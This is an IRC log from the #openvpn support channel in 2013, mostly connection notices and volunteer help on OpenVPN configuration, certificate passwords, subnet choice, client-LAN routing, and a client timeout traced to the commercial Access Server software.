21:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
21:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
21:43 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
21:43 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
21:43 -!- map is now known as Guest58863
21:45 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
21:45 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
22:17 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 246 seconds]
22:32 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 256 seconds]
22:42 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:42 -!- nobit [nobit@unaffiliated/muska] has quit [Ping timeout: 248 seconds]
22:46 -!- Carbon_Monoxide [~cmonxide@14.0.143.7] has joined #openvpn
22:46 -!- Carbon_Monoxide [~cmonxide@14.0.143.7] has left #openvpn []
22:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
22:47 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has quit [Quit: Saliendo]
22:48 -!- mattock is now known as mattock_afk
22:52 -!- nobit [~nobit@unaffiliated/muska] has joined #openvpn
22:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
23:08 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 240 seconds]
23:08 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
23:37 -!- Falconor [~Falconor@unaffiliated/falconor] has quit [Ping timeout: 240 seconds]
23:39 -!- Falconor [~Falconor@unaffiliated/falconor] has joined #openvpn
--- Day changed Thu Oct 31 2013
00:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
00:28 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:35 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
00:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
00:36 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
00:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
00:37 -!- mode/#openvpn [+v s7r] by ChanServ
00:40 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
00:53 -!- Guest58863 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
01:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:21 -!- Guest58863 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:22 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Ping timeout: 264 seconds]
01:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:42 -!- tw [~brassica@unaffiliated/tw-nym] has quit [Ping timeout: 268 seconds]
01:53 -!- tw [~brassica@unaffiliated/tw-nym] has joined #openvpn
02:18 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
02:30 -!- crus [~crusader@2001:44b8:319e:2900:f4bd:b993:e38e:4ba2] has quit [Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com )]
02:31 -!- crus [~crusader@2001:44b8:319e:2900:f4bd:b993:e38e:4ba2] has joined #openvpn
03:29 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
03:33 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
03:38 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:46 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
04:22 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
04:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:35 -!- novaflash is now known as novaflash_away
04:38 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
04:43 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
04:45 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:00 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Quit: ZNC - http://znc.in]
05:01 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
05:01 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
05:01 -!- map is now known as Guest11619
05:03 -!- Guest58863 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
05:03 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
05:03 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
05:35 -!- user101 [~textual@p4FF1C168.dip0.t-ipconnect.de] has joined #openvpn
05:35 < user101> hey there
05:36 < user101> I have some issues with uninstalling openvpn on a mac
05:36 < user101> there are many errors in the console
05:36 < user101> but I cant seem to find any openvpn related files on my computer
05:39 < user101> !welcome
05:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
05:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:51 -!- trumee_ [~parul@185.11.37.157] has quit [Ping timeout: 252 seconds]
05:51 -!- trumee [~parul@185.11.37.157] has joined #openvpn
05:56 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-wolxphtizrkbeybr] has left #openvpn []
05:57 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-wolxphtizrkbeybr] has joined #openvpn
05:57 -!- master_of_master [~master_of@p4FF24EC1.dip0.t-ipconnect.de] has joined #openvpn
06:01 -!- master_o1_master [~master_of@p4FD7BD37.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
06:01 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
06:02 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
06:03 -!- master_o1_master [~master_of@p4FD7B27E.dip0.t-ipconnect.de] has joined #openvpn
06:06 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 245 seconds]
06:07 -!- master_of_master [~master_of@p4FF24EC1.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
06:08 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
06:11 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
06:13 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
06:14 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
06:17 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
06:26 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:26 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:26 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:27 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
06:36 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
06:41 -!- jim-p [~jim-p@2001:470:1f11:e1c::2] has left #openvpn ["out"]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:52 -!- vamadir [~vamadir@222.33.9.162] has joined #openvpn
06:55 < vamadir> have problem with openvpn. server openvz (3-ipv4 6-ipv6). Before have no problem with one ip. Now can`t ping 10.8.0.1, and 8.8.8.8. I think have problem with iptables, but i didnt understand how to configure for this IP`s
07:04 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
07:04 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
07:06 < DrFoo> Is the tap tunnel in the works for the iphone app, or is it banned by the Apple regime?
07:20 <@plaisthos> banned is a strong word
07:20 <@plaisthos> more like "not implmeneted"
07:20 <@plaisthos> and there is little reason to do so
07:20 <@plaisthos> Android is the same, actually
07:22 < vamadir> after conecting ping normal 2-3 sec, after trafic block. what its can be?
07:26 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
07:27 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 240 seconds]
07:29 <@ecrist> !openvz
07:29 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
07:39 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
07:48 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
07:49 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Excess Flood]
07:49 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
07:50 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
08:05 -!- tjz [~tjz@unaffiliated/tjz] has quit [Quit: quit irc]
08:08 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
08:12 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:19 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
08:20 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
08:20 -!- takamich_ [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
08:20 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
08:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
08:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:23 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:29 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
08:29 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
08:29 -!- map is now known as Guest68281
08:31 -!- Guest11619 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
08:31 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
08:37 -!- debbie10t [~ma1com10t@host-92-20-12-215.as13285.net] has joined #openvpn
08:37 -!- mode/#openvpn [+o debbie10t] by ChanServ
08:39 <@debbie10t> Now I understand the use of the password field correctly i want to know if openvpn has the code built in to prompt for the password or do i have to provide a script or such to do so ?
08:40 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
08:43 <@ecrist> openvpn will ask for it on the  command line
08:46 <@debbie10t> ok thanks .. as i am using windows I have not built a suitable key so far as the command to request a password is not included in the easy-rsa suit for windows
08:47 <@debbie10t> but i have linux aswell so ... getting there
08:47 <@ecrist> easy-rsa doesn't have anything to do with an openvpn password
08:48 <@ecrist> the openvpn windows gui will prompt for a password
08:48 <@debbie10t> sorry - i mean the "challenge password" field when generating a client key
08:48 <@ecrist> ah, totally different
08:48 <@ecrist> that's still not something for easy-rsa to provide, but openvpn
08:51 <@debbie10t> when generating the key it seems your have to use a slightly different openssl command to include the password field in such a way as to make the user enter a password when using the key
08:52 <@debbie10t> i want to know if when using the key and a password is required will i have to provide a background script for openvpn to call to validate the password or does openvpn know how to do this without extra coding
08:54 <@debbie10t> btw - the easy-rsa script to build a key with a password is "build-key-pass" but there is no equivalent script in windows version
08:55 <@debbie10t> i believe i simply have to add -pass to the windows command line
08:57 <@debbie10t> hmm .. maybe not
09:02 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
09:21 <@debbie10t> ok - found it
09:22 -!- debbie10t is now known as debbie10t_afk
09:50 -!- mattock_afk is now known as mattock
09:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:14 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
10:16 -!- user101 [~textual@p4FF1C168.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
10:37 -!- Guest68281 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
10:40 <+pekster> debbie10t_afk: The challenge password is basically a nonce used (rarely) by some commercial CAs to "authenticate" the user later. It's cryptographically unimportant
10:54 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:55 -!- El_Presidente [Martin@p54A9D5E3.dip0.t-ipconnect.de] has joined #openvpn
10:55 < El_Presidente> hi
10:55 < El_Presidente> are the repo links working right now? because i get a 404 "not found" error when i try to perform apt-get update
10:56 < rob0> Maybe you want #debian or #ubuntu?
10:56 < El_Presidente> sorry for being unprecise i mean these: https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
10:56 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
11:01 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
11:03 -!- vijay [~vijay@123.63.36.218] has joined #openvpn
11:03 < vijay> hi
11:04 < vijay> Can any one please help in configuring openvpn..
11:10 -!- vijay [~vijay@123.63.36.218] has quit [Quit: Leaving]
11:10 < rob0> mattock, ^^ did you see El_Presidente's question at 15:55 UTC?
11:16 -!- debbie10t_afk [~ma1com10t@host-92-20-12-215.as13285.net] has quit [Ping timeout: 260 seconds]
11:21 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
11:22 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:23 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:42 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
11:42 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has quit [Client Quit]
11:43 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
11:44 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
11:58 < EugeneKay> !fail2ban
11:58 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
11:59 -!- debbie10t_afk [~ma1com10t@host-92-20-13-103.as13285.net] has joined #openvpn
11:59 -!- mode/#openvpn [+o debbie10t_afk] by ChanServ
12:01 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:03 -!- El_Presidente [Martin@p54A9D5E3.dip0.t-ipconnect.de] has quit [Quit: Leaving]
12:03 -!- AginLap [~AginLap@87.252.75.130] has joined #openvpn
12:10 -!- AginLap_ [~AginLap@109.201.152.238] has joined #openvpn
12:12 -!- AginLap_ [~AginLap@109.201.152.238] has quit [Client Quit]
12:13 -!- AginLap_ [~AginLap@109.201.152.238] has joined #openvpn
12:14 -!- AginLap [~AginLap@87.252.75.130] has quit [Ping timeout: 272 seconds]
12:14 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
12:18 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Ping timeout: 604 seconds]
12:18 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 260 seconds]
12:21 -!- AginLap_ is now known as AginKap
12:21 -!- AginKap is now known as AginLap
12:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Read error: Connection reset by peer]
12:23 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
12:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:26 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
12:29 -!- vamadir [~vamadir@222.33.9.162] has left #openvpn []
12:32 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:42 -!- vijay [~vijay@123.63.36.218] has joined #openvpn
12:48 <@krzee> !pfsense
12:48 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
12:57 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:57 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
12:58 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:59 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
13:03 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
13:04 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
13:08 -!- kloeri_ is now known as kloeri
13:12 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Quit: Reconnecting]
13:12 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
13:12 < vijay> Starting openvpn:                                          [FAILED]
13:16 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:17 <@debbie10t_afk> Hey pekster: I simply want to know how to use the password correctly rather than make a fool of myself again :S
13:24 <+pekster> debbie10t_afk: "the password" generally refers to the encryption passphrase. A "challenge password" is nothing but an attribute added to the cert request that openssl never uses
13:25 -!- Netsplit *.net <-> *.split quits: Fetch_, P4k3, havoc, Sjors, Olipro, @raidz, defswork, esde, TypoNe, mapito,  (+3 more, use /NETSPLIT to show all of them)
13:29 <@debbie10t_afk> pekster: does that mean that openvpn will use the cert without requiring the password ?
13:30 <+pekster> If your private key is encrypted, the passphrase is required
13:30 < vijay> I get connection timed out when connecting through open-vpn from client
13:30 <+pekster> A cert does not have the challengePassword attribute as it is strictly a request attribute (PKCS#10)
13:31 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
13:31 <@debbie10t_afk> ok - thanks - I will be testing it fully tonight
13:31 < vijay> after i input the credentails.. it says timed out.
13:32 <+pekster> Unless you are sending your request to a CA that has a company/social policy using that attribute, you should omit it; it's plaintext ANS.1 anyway in the request, so unless you're enclosing it in a PKCS#7 envelope, that password is visible to anyone who looks at the request
13:32 <@debbie10t_afk> ok .. thnaks again for your help - you are the master :)
13:33 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
13:33 < vijay> I have necessary ca cerificate and my server.ovpn file with necessary paramters
13:34 < vijay> i  am still getting connection timeout after i input my credentials
13:35 <@debbie10t_afk> vijay: have you made sure your firewall is allowing traffic ?
13:35 < vijay> Yes
13:35 < vijay> i can post in the pastebin my iptable rules.. can i ?
13:36 <+pekster> I'd start with your openvpn configs & logs (see !configs and !logs)
13:36 -!- Ziber [~Liber@liber.in] has joined #openvpn
13:36 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
13:36 < vijay> !configs
13:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:39 < vijay> How can i install pfSense to obtain the config please
13:39 < vijay> is it a package that helps to get the openvpn config info?
13:39 < Ziber> My ultimate goal for a VPN is to have it connected to both of my VPSs (both with public IP addresses), and my home LAN subnet (192.168.1.0/24). To avoid IP conflicts, I'll only connect to it when I need to use it and I want all traffic routed through it. I currently have a working VPN setup between one of my servers and my laptop, but I can't figure out the "routing all traffic through it", despite having "push 'redirect-gateway def1 bypass-dhcp'" in my config.
13:42 < vijay> http://pastebin.com/KxASryub
13:43 < vijay> !logs
13:43 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:44 -!- d1gital is now known as d1gitalucarD
13:44 -!- d1gitalucarD is now known as D1gitalucarD
13:45 < vijay> http://pastebin.com/98Rqbmv5
13:45 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
13:48 <+pekster> Your config files look fine, though you don't generally need/want to define --tun-mtu and --tun-mtu-extra
13:48 < vijay> Those are my server and client config files in the paste bin...
13:48 < vijay> You want my log files too ?
13:48 < vijay> !logs
13:48 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:48 < vijay> !logfile
13:48 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
13:49 < vijay> !man
13:49 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:49 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
13:50 < Ziber> What configuration would I have to do in order to give my VPN 192.168.0.0/24 and allow it to connect to the subnet behind a machine that's connected to it, on 192.168.1.0/24?
13:51 < vijay> http://pastebin.com/uVXEduV9
13:51 < vijay> This is my server openvpn log
13:52 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
13:53 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
13:53 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
13:54 <+pekster> vijay: Your client isn't making a connection to your server; check the client logs for fatal errors, otherwise something is preventing the packets from getting delivered
13:58 < vijay> http://pastebin.com/vWbmj38d
13:58 < vijay> Client log
14:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:01 < vijay> More information... Access server is a VM built on my public ssh server ..
14:01 <+pekster> That is not an openvpn log you posted
14:01 <+pekster> !as
14:02 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
14:03 < vijay> http://pastebin.com/vWbmj38d
14:03 < vijay> Pekster.. You are referring to the same above file right..
14:03 <+pekster> Yes
14:04 < vijay> I can make a fresh connection and can paste you the log again
14:04 <+pekster> No, you are not using a product that is supported here
14:04 <+pekster> AS and Connect are not OpenVPN, but commercial products for which you must obtain support from the vendor that sold them to you
14:04 <+pekster> See !as above, or see:
14:04 <+pekster> !connect
14:04 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
14:05 <+pekster> #openvpn supports OpenVPN, not AS or Connect as these are not GPL'd products
14:06 < vijay> I am not using AS
14:06 < vijay> neither Connect
14:07 < vijay> I am using OpenVPN client
14:07 <+pekster> Yes you are. 2013-10-31 23:10:23+0530 [-] Starting AS Client API 1.5.6/MSI
14:07 <+pekster> This is _not_ the openvpn client
14:07 <+pekster> You want:
14:07 <+pekster> !download
14:07 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:07 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:08 <+pekster> You didn't intend to download the commercial client then? If so, you should back up any configs/keys/certs you might have and install OpenVPN instead
14:09 < vijay> So.. I need to uninstall the current openvpn software that is installed on my windows machine and need to install the version that you pasted in the above link right?
14:09 <+pekster> What you have is not "OpenVPN software" -- "OpenVPN Connect" uses a completely different codebae that is not open and not managed/owned/supported by the community
14:10 <+pekster> So yes, you need to uninstall the non-Free software you have now and use that download link
14:10 < vijay> ok.. i am doing it right away
14:11 <+pekster> And yes, the similar naming is a source of great confusion for users
14:11 < Ziber> I can push different routes for different clients, right?
14:11 < Ziber> I want my home network to route all 192.168.0.0/24 traffic to the VPN, but otherwise to the normal gateway.
14:11 <+pekster> Ziber: Yup, either use ccd files or a --client-connect script
14:11 < Ziber> Great!
14:11 < Ziber> I saw something about "iroute" in a ccd file?
14:11 <+pekster> Also, don't use 192.168.0.0/24 since it's one of the top 2 most well-used RFC1918 networks
14:11 < Ziber> Why not?
14:12 < Ziber> My home network is 192.168.1.0/24, wanted something similiar.
14:12 <+pekster> It breaks if you have a remote client using that same network
14:12 <+pekster> Yea, that's also a bad network choice
14:12 <+pekster> Though not (quite) as bad as 192.168.0.{0,1}/24
14:12 <+pekster> Regardless, see !serverlan or !clientlan if you want to expose a LAN behind one of the VPN peers
14:12 < Ziber> !clientlan
14:13 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
14:13 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:13 < Ziber> Can I have completely different networks for the VPN and still be able to get to my home LAN?
14:13 <+pekster> That's the recommended setup, yes (ie: routing)
14:14 <+pekster> All the !howto samples use 10.8.0/24 for the VPN network; you're free to use any non-overlapping IP space you'd like though
14:14 < Ziber> So the vpn could use something like... 10.192.254.0/24 (as I was using earlier), but I could still get to my home network (which I really can't change as it's my parents house)
14:14 < Ziber> !howto
14:14 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:16 <+pekster> Using a common network is fine until you try to connect to it from "someone else's" common network. It's like calling your friend in another state and saying "meet me at 123 Main Street"
14:17 < vijay> http://pastebin.com/bUG67FGD
14:17 < vijay> My client log file
14:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:18 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
14:18 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
14:18 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
14:18 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
14:18 -!- defswork [~andy@141.0.50.105] has joined #openvpn
14:18 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
14:18 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
14:18 -!- fred`` [fred@earthli.ng] has joined #openvpn
14:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
14:18 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
14:18 -!- ServerMode/#openvpn [+o raidz] by holmes.freenode.net
14:18 < vijay> It just hungs there.. nothing progresses
14:18 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
14:18 < vijay> I placed the backup of my conf and cert in the config folder of openvpn
14:18 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
14:18 <+pekster> There's no connection there, and you didn't wait long enough for it to time out
14:19 <+pekster> This said, your connection isn't getting to the server, which suggests you have a firewall problem
14:20 < vijay> http://pastebin.com/QP9UbCkv
14:20 <+pekster> Either your server is dropping the traffic, or some other box between the client & server is dropping it
14:20 <+pekster> Yea, so line 16 is a generic timeout when "no reply packets" came back from the server
14:21 < vijay> My server is a VM in my public SSh server..
14:21 <+pekster> 10.200.0.60 isn't public
14:22 < vijay> This is a VM configured in My public ssh server
14:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:22 < vijay> You meant.. Some other box between the client and server is dropping..
14:22 < vijay> I meant is it my SSH server ?
